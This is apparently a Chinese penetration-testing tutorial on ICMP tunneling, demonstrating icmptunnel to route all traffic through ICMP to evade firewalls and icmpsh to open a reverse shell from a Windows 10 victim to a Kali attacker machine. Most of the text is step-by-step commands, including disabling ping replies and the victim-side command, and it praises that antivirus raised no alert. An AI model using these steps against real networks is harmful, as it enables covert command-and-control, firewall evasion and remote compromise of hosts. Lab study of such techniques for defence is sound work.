ICMP隧道也不是什么新奇的技术了,但是在某些渗透测试场景下可以说是一种挺骚的操作,其产生的畸形网络流量可以用于逃避防火墙的规则,这里仅拿两种应用方式演示,不具体讨论ICMP协议,还不知道ICMP是啥的可以先百度了解一下。
ICMP隧道传输
测试环境
客户端IP:192.168.10.234 (kali linux)
服务端IP:192.168.10.107 (kali linux)
用到icmptunnel这款工具git clone https://github.com/DhavalKapil/icmptunnel
服务端
编译工具make
启动隧道icmptunnel -s 10.0.1.1
(下图ip打错了)
可以发现变化路由表的变化route -n
客户端
编译工具make
修改client.sh
server
服务端ip,gateway
网关,interface
对应网卡接口。
如这里改为route add -host 192.168.10.107 gw 192.168.10.1 dev eth0
建立隧道icmptunnel -c 192.168.10.107
此时可以看到路由表的变化route -n
可以发现出去的流量都走这个隧道。
开百度测试了一下,速度还可以接受,同时进行抓包。
可以看到icmp包异常的多,且长度也很长,有些还可以看到有http的请求信息。
总体架构
搬一下作者的架构图
1 | +--------------+ +------------+ +------------+ |
ICMP隧道命令控制–反向shell
将攻击payload放在icmp报文中能达到很好的隐藏效果。
测试环境
攻击机IP:192.168.10.234 (kali linux)
受害机IP:192.168.10.155 (windows10)
用到icmpsh这款工具git clone https://github.com/inquisb/icmpsh.git
攻击过程
攻击机执行sysctl -w net.ipv4.icmp_echo_ignore_all=1
关闭ping回复,防止内核响应ping包,否则可能接收不到完整的回传数据。
然后监听即可python icmpsh_m.py 192.168.10.234 192.168.10.155
和一般的反弹shell不一样的是需要指定目标的ip。
受害机执行icmpsh.exe -t 192.168.10.155
即可。
同样的可以看到通信的数据都在icmp包中。
测试过程中,受害主机是开着管家的,没有任何的风险提示,可以看到隐蔽性是很好的。